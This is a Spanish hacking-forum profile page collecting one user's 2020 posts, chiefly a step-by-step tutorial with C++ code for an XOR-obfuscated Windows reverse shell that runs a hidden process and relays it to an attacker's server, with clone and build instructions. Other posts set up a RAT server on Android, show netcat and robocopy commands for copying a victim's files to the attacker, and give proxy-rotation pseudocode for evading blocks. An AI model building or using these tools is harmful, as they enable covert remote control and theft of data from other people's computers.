Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#21
Hacking / Re:Shell inversa "Cifrada" segunda parte (Windows)
Julio 05, 2020, 10:02:34 PM #22
Hacking / Shell inversa "Cifrada" segunda parte (Windows)
Julio 05, 2020, 09:14:44 PM
Hola comunidad, hoy traigo la segunda parte del post anterior sobre You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, esta vez aplicado a sistemas Windows.
En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: cpp
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: cpp Extraido de la web de You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:
Código: text
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.
Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):
Código: cpp
La estructura You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:
Código: cpp
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
Despues se crea el proceso haciendo uso de la funcion CreateProcess:
Código: cpp
La cual recibe los siguientes parametros:
Código: cpp Extraido de la web de You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
En este caso solo nos interesan 5 parametros:
Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:
Código: cpp
El hilo el cual escribira al proceso va de la siguiente manera:
Código: cpp
la funcion You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.
Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:
Código: cpp
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:
Código: cpp
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).
Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:
Clonar:
Código: dos
O descargar desde aqui : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: cpp
con cualquier contraseña que se desee. Luego modificar la funcion main:
Código: cpp
con la informacion que utilizara el cliente para conectarse.
Abrir el archivo Windows/Server.cpp y modificar la funcion main:
Código: cpp
con el puerto y la contraseña a usar en la comunicacion.
Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.
Una captura:

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia
Saludos.
Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:
Código: cpp
O si ya lo clonaron, actualizan con:
Código: dos
Sinceras disculpas por el error.
En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - Copia y extrae informacion de una tuberia sin modificar su contenido.
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.
Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = nullptr;
sa.bInheritHandle = true; //Proceso hijo puede heredar tuberias retornadas por CreatePipe
if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
//No se pudo crear las tuberias
}
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
BOOL CreatePipe(
PHANDLE hReadPipe, //Extremo de lectura (stdinRd)
PHANDLE hWritePipe, //Extremo de escritura (stdinWr)
LPSECURITY_ATTRIBUTES lpPipeAttributes, //Estructura con los atributos de seguridad (sa)
DWORD nSize //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:
stdinRd < === > stdinWr
stdoutRd < === > stdoutWrTodo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.
Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):
PROCESS_INFORMATION pi;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = stdoutWr;
si.hStdError = stdoutWr;
si.hStdInput = stdinRd;
if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
//No se pudo invocar la shell
}La estructura You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contiene la informacion de como se creara la ventana del nuevo proceso. La funcion You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = stdoutWr;
si.hStdError = stdoutWr;
si.hStdInput = stdinRd;El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
- STARTF_USESTDHANDLES - Redireccionar salida y entrada del programa hacia nuestras tuberias.
- STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
- Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
- Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.
Despues se crea el proceso haciendo uso de la funcion CreateProcess:
CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)La cual recibe los siguientes parametros:
BOOL CreateProcess(
LPCWSTR pszImageName,
LPCWSTR pszCmdLine,
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles,
DWORD fdwCreate,
LPVOID pvEnvironment,
LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo,
LPPROCESS_INFORMATION pProcInfo
);En este caso solo nos interesan 5 parametros:
- pszCmdLine - Ruta al programa a ejecutar (programa.exe).
- fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
- pvEnvironment - Especifica el entorno en el cual se creara el nuevo proceso.
- psiStartInfo - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
- pProcInfo - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:
//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
std::string Final = "";
for(char cD : Data){
for(char cS : Password){
cD ^= cS;
}
Final.append(1, cD);
}
return Final;
}El hilo el cual escribira al proceso va de la siguiente manera:
while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
DWORD longitud = strCmd.length();
DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}la funcion You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.
Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:
while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).
Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:
Clonar:
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.gitO descargar desde aqui : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
std::string strPassword = "$up3rP@sSw0rD";con cualquier contraseña que se desee. Luego modificar la funcion main:
if(Cli->Connect("127.0.0.1", "1337")){con la informacion que utilizara el cliente para conectarse.
Abrir el archivo Windows/Server.cpp y modificar la funcion main:
Server *Srv = new Server(1337, "$up3rP@sSw0rD");con el puerto y la contraseña a usar en la comunicacion.
Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.
Una captura:

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia

Saludos.
Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:
PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)O si ya lo clonaron, actualizan con:
git pullSinceras disculpas por el error.
#23
Dudas y pedidos generales / Re:Dark Web
Julio 05, 2020, 05:06:04 AM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, en teoria lo que debes hacer es instalar el navegador tor mas una VPN, compras bitcoins y te diriges a la tienda, haces tu carrito de compras y pagas. La pregunta es: es confiable?, no estoy muy seguro.
Saludos.
Saludos.
#24
Dudas y pedidos generales / Re:Help Me Como copiar Archivos con Netcat entre 2 Windows
Junio 30, 2020, 06:20:18 PM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Ademas de la manera en que estas usando el comando You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no lograras tu objetivo, ya que lo esta copiando solamente en la otra maquina. Para copiar entre distintas computadoras se hace con recursos compartidos como:
Código: dos
siendo \\TU-COMPUTADORA\Recurso una carpeta compartida en tu pc con los permisos de escritura activados para que la otra pc o victima pueda copiarte los archivos especificados, en este caso C:\CopiarEsto.
Entonces, si no quieres hacerlo manualmente, crea una carpeta compartida en tu pc con permisos de escritura, por ejemplo Recibido. Luego en la sesion de netcat en la otra pc ejecutas el comando robocopy mas o menos asi:
Código: dos
Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginSupongo que lo que tienes actualmente es una shell inversa con netcat, entonces se puede decir que Maquina que recibe el archivo eres tu, y Maquina que lo envia es la otra pc o victima.
o entiendo la ultima linea maquina que lo envia , ¿?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginNo, usando el ejemplo que te di lo harias archivo por archivo.
Bueno pero de estar forma no podre copiar carpetas
Ademas de la manera en que estas usando el comando You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login no lograras tu objetivo, ya que lo esta copiando solamente en la otra maquina. Para copiar entre distintas computadoras se hace con recursos compartidos como:
robocopy C:\CopiarEsto \\TU-COMPUTADORA\Recursosiendo \\TU-COMPUTADORA\Recurso una carpeta compartida en tu pc con los permisos de escritura activados para que la otra pc o victima pueda copiarte los archivos especificados, en este caso C:\CopiarEsto.
Entonces, si no quieres hacerlo manualmente, crea una carpeta compartida en tu pc con permisos de escritura, por ejemplo Recibido. Luego en la sesion de netcat en la otra pc ejecutas el comando robocopy mas o menos asi:
ROBOCOPY C:\Users\51950\Pictures \\IP-DE-TU-PC\\Recibido Saludos.
#25
Dudas y pedidos generales / Re:Help Me Como copiar Archivos con Netcat entre 2 Windows
Junio 30, 2020, 05:26:36 PM
Puedes hacer lo siguiente:
Maquina que recibe el archivo
Código: dos
Maquina que lo envia
Código: dos
Lo que realiza es que lee el contenido de archivo.jpg, y redirecciona la salida hacia el stdin de netcat. Y la maquina que recibe guarda todo lo que venga de netcat en archivo.jpg.
Tambien tendrias que monitorear el archivo para verificar que la transferencia se completo, ya que netcat no cierra la conexion aunque todos los datos se hayan transferido.
Saludos.
Maquina que recibe el archivo
nc -lp puerto > archivo.jpg Maquina que lo envia
type archivo.jpg | nc ip-maquina-recibe puertoLo que realiza es que lee el contenido de archivo.jpg, y redirecciona la salida hacia el stdin de netcat. Y la maquina que recibe guarda todo lo que venga de netcat en archivo.jpg.
Tambien tendrias que monitorear el archivo para verificar que la transferencia se completo, ya que netcat no cierra la conexion aunque todos los datos se hayan transferido.
Saludos.
#26
Hacking Tools / unnamedRat en Android con Termux
Junio 29, 2020, 08:56:46 PM
Hola comunidad, hoy les traigo un pequeño tutorial de hacer uso de la herramienta You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login en android gracias a You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login.
Se procede a instalar termux, luego se instalan los siguientes paquetes:
Código: bash
Clonar el repo:
Código: bash
Luego nos dirigimos al directorio del servidor linux en ./unnamed_rat/Server/Linux/, y se edita el fichero headers.hpp con nano, modificando lo siguiente:
Código: cpp
El proposito de #define _TERMUX es para compilar el programa con la salida de texto y barra de progreso un poco mas reducidad. Luego se compila con:
Código: bash
Una vez compilado se procede a generar el certificado y llave privada en el mismo directorio donde se encuentra el ejecutable del servidor:
Código: bash
Si hasta aqui el telefono no se prendio fuego, vamos bien.
Luego solo toca ejecutar el servidor en el telefono y el cliente en una pc:
Código: text
Aqui unas capturas


Ahora disponemos de la herramienta en cualquier momento y lugar. Espero les guste, tambien pueden revisar el proyecto You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, ahora con documentacion en español e ingles
.
Saludos.
Se procede a instalar termux, luego se instalan los siguientes paquetes:
pkg install openssl openssl-tool make git nanoClonar el repo:
git clone https://github.com/d3adlym1nd/unnamed_rat.gitLuego nos dirigimos al directorio del servidor linux en ./unnamed_rat/Server/Linux/, y se edita el fichero headers.hpp con nano, modificando lo siguiente:
//Si se quiere salida de texto con color
#define _COLOR
//Idioma del programa, comentar/descomentar como se requiera
#define ES
//#define EN
//Descomentar lo siguiente
#define _TERMUX
//Maximo de clientes a manejar
#define Max_Clients 10El proposito de #define _TERMUX es para compilar el programa con la salida de texto y barra de progreso un poco mas reducidad. Luego se compila con:
makeUna vez compilado se procede a generar el certificado y llave privada en el mismo directorio donde se encuentra el ejecutable del servidor:
openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodesSi hasta aqui el telefono no se prendio fuego, vamos bien.
Luego solo toca ejecutar el servidor en el telefono y el cliente en una pc:
./server 31337Aqui unas capturas


Ahora disponemos de la herramienta en cualquier momento y lugar. Espero les guste, tambien pueden revisar el proyecto You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, ahora con documentacion en español e ingles
.Saludos.
#27
Dudas y pedidos generales / Re:DuckDns y router huawei
Junio 28, 2020, 09:48:40 PM
La opcion de ddns en el router no tiene que ver. Verifica la configuracion del cliente DuckDNS y que la regla este correctamente en el router, ademas debes crear un regla en el firewall, ya que si este bloquea la conexion, no se podra establecer la comunicacion con tu servidor local.
#28
Dudas y pedidos generales / Re:Consulta: Wifislax, otro software de uso similar?
Junio 28, 2020, 05:22:31 PM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, lo del handshake puede ser debido a la potencia de la señal o como se discute You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, puede ser que tu tarjeta no soporte la captura del handshake de la forma en que se realiza. Esta en ingles pero basicamente lo que dice es que el error de debe a que el handshake se realiza en modo You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login/You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login y la tarjeta no soporta captura en ese modo.
Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginExisten muchas distros como Kali, Parrot, etc. Aunque la mayoria usan aircrack-ng, entonces dale una revisada al tema que se discute en el enlace anterior para ver si el problema sea respecto a tu tarjeta.
que me podrian recomendar ustedes que use en lugar de wifislax.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginQue tipo de pagina, respecto a distros sobre auditorias a redes wifi?
y una cosa mas si saben de alguna pagina on-line bueno saludos
Saludos.
#29
Dudas y pedidos generales / Re:DuckDns y router huawei
Junio 28, 2020, 05:02:03 PM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, que sistema operativo usas?
En la web de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hay instrucciones para varios sistemas operativos. Luego de hacer la configuracion de la cuenta e instalacion del software requerido, solo toca abrir los puertos en el router.
Una vez logueado lo haces de la siguiente forma:
Click en Forward Rules
Luego en Port Mapping Configuration
Y despues en New. Aqui unas imagenes de como seria aproximadamente el proceso:

Al hacer click te aparecera mas abajo lo siguiente:

Espero te sirva saludos.
En la web de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hay instrucciones para varios sistemas operativos. Luego de hacer la configuracion de la cuenta e instalacion del software requerido, solo toca abrir los puertos en el router.
Una vez logueado lo haces de la siguiente forma:
Click en Forward Rules
Luego en Port Mapping Configuration
Y despues en New. Aqui unas imagenes de como seria aproximadamente el proceso:

Al hacer click te aparecera mas abajo lo siguiente:

Espero te sirva saludos.
#30
Dudas y pedidos generales / Re:en donde puedo conseguir codigos fuente de botnet y scanner vnc
Junio 28, 2020, 04:17:30 AM
Aparte del que te especifico @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login puedes mirar el repositorio You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login el cual contiene muchos codigos de ejemplo destinados para ser analizados.
#31
Off Topic / Re:{.reflexión} Cybersecurity - PARTE 1
Junio 28, 2020, 01:16:10 AM
Interesante tu reflexion @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, podria decirse que las empresas que estan involucradas en el ciberespacio tienden a interesarse mas en riqueza y proteccion de la misma y se descuida un factor muy crucial del cual depende su "imagen" y estabilidad, la ciberseguridad. Muchas veces es necesario que ocurra un incidente o se cree un nuevo lineamiento de gestion de ciberseguridad para empezar a reflexionar sobre como se esta manejando la informacion y activos de dicha empresa en el area teconologica. Cada vez estamos mas expuestos, la tecnologia avanza exponencialmente asi como lo hace el desinteres por la proteccion de informacion. Sera que se tiende a confiar en que el "otro" se encargara de todo?.
Podria decirse que estamos a merced de la infraestructura y como la ciberseguridad se maneja dentro de la misma por parte de empresas que prestan servicios. Lo que toca es intentar generar conciencia en que el mundo en la actualidad depende mucho de la tecnologia, y destacar que la ciberseguridad es lo primordial en este mundo.
Espero la segunda parte
.
Podria decirse que estamos a merced de la infraestructura y como la ciberseguridad se maneja dentro de la misma por parte de empresas que prestan servicios. Lo que toca es intentar generar conciencia en que el mundo en la actualidad depende mucho de la tecnologia, y destacar que la ciberseguridad es lo primordial en este mundo.
Espero la segunda parte
.
#32
Dudas y pedidos generales / Re:Cómo generar tráfico hacia una Web
Junio 28, 2020, 12:00:38 AM
Crea una lista de proxys dentro del codigo o en un archivo, luego al haber un error de conexion usas la siguiente proxy de la lista y asi sucesivamente.
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login te sugirio la web You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, a partir de esa informacion creas un archivo o array dentro del codigo y realizas la implementacion algo asi:
Código: text
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login te sugirio la web You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, a partir de esa informacion creas un archivo o array dentro del codigo y realizas la implementacion algo asi:
hilo Cliente(ProxyInicial){
ProxyActual = ProxyInicial
bucle{
EnviarDatos(ProxyActual)
SiHayerror{
lock()
ProxyActual = LeerSiguienteProxy()
unlock()
}
}
}
#33
Dudas y pedidos generales / Re: Quisiera Ejecutar comandos de abd.exe desde eli .bat por ejemplo adb device
Junio 27, 2020, 08:52:30 PM
@You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login elimina la linea
Código: dos
Ya que la misma te inicia una nueva ventana con el comando adb.exe
Podria quedar asi:
Código: dos
Saludos
START "adb.exe"Ya que la misma te inicia una nueva ventana con el comando adb.exe
Podria quedar asi:
@echo off
cd C:\adb
adb.exe devices
pauseSaludos
#34
Dudas y pedidos generales / Re:Sockets con diferente Ip
Junio 27, 2020, 01:32:55 PM
Hola @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, como te dije puedes usa la clase WebBrowser, o podrias usar You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, las dos te facilitaran el uso de proxys, ya que manualmente debes realizar un "handshake" con el servidor proxy antes de conectarte con la web destino.
Aqui un ejemplo usando HttpWebRequest:
Código: csharp
Puedes incluir esa seccion de codigo en el hilo "ClienteConectar"
Aqui un ejemplo usando HttpWebRequest:
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("www.sitio.com");
WebProxy myproxy = new WebProxy("IP-Proxy", Puerto-Proxy);
request.Proxy = myproxy;
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse) request.GetResponse();Puedes incluir esa seccion de codigo en el hilo "ClienteConectar"
#35
Dudas y pedidos generales / Re:Sockets con diferente Ip
Junio 27, 2020, 03:06:02 AMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEs pseudocodigo, deberas adaptarlo al lenguaje correspondiente.
Hola la función conexióninicialconproxy() que clases se requieren(nunca he utilizado esto así que desconozco)
Y luego sigue conectaraservidorconproxy() Solo sería socket.connect o habría que indicarle algo más para que detecte el proxy
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El contador es un socket que solo muestra sus conexiones activas por ello necesito crear canales que cada canal opere con un proxy para evitar bloqueos
Puedes probar a crear un bucle dentro del hilo y que envie una peticion http cada cierto tiempo con la cabecera Connection: Keep-Alive, talvez el servidor lo considere como un cliente real.
Otra opcion (asumiendo que sea en C#) es la clase You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login la cual se puede usar con You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, esto te simplificaria el trabajo en lo que es la creacion de sockets y el manejo de sesiones web.
#36
Dudas y pedidos generales / Re:Sockets con diferente Ip
Junio 27, 2020, 02:08:37 AM
Claro que si, usando proxys puedes realizar multiples conexiones desde un cliente y cada una de estas se realizaria con una ip diferente. El pseudocodigo del cliente iria algo asi:
Código: text
Planeas crear algun tipo de bot?
Saludos.
hilo ClienteConectar(informacion_proxy, informacion_servidor){
ConexionInicialConProxy(informacion_proxy)
ConectarAServidorMedianteProxy(informacion_servidor)
EnviarYRecibirDatos()
}
funcion Bot(){
ListaProxys = {"111.111.111.111:1337", "21.22.22.22:1338", "55.55.55.55:8989"...}
crear_hilo ClienteConectar(ListaProxys[0], "mocosoft.com:8080")
crear_hilo ClienteConectar(ListaProxys[1], "mocosoft.com:8080")
crear_hilo ClienteConectar(ListaProxys[2], "mocosoft.com:8080")
......
Crear cuantos hilos sean necesarios
}Planeas crear algun tipo de bot?
Saludos.
#37
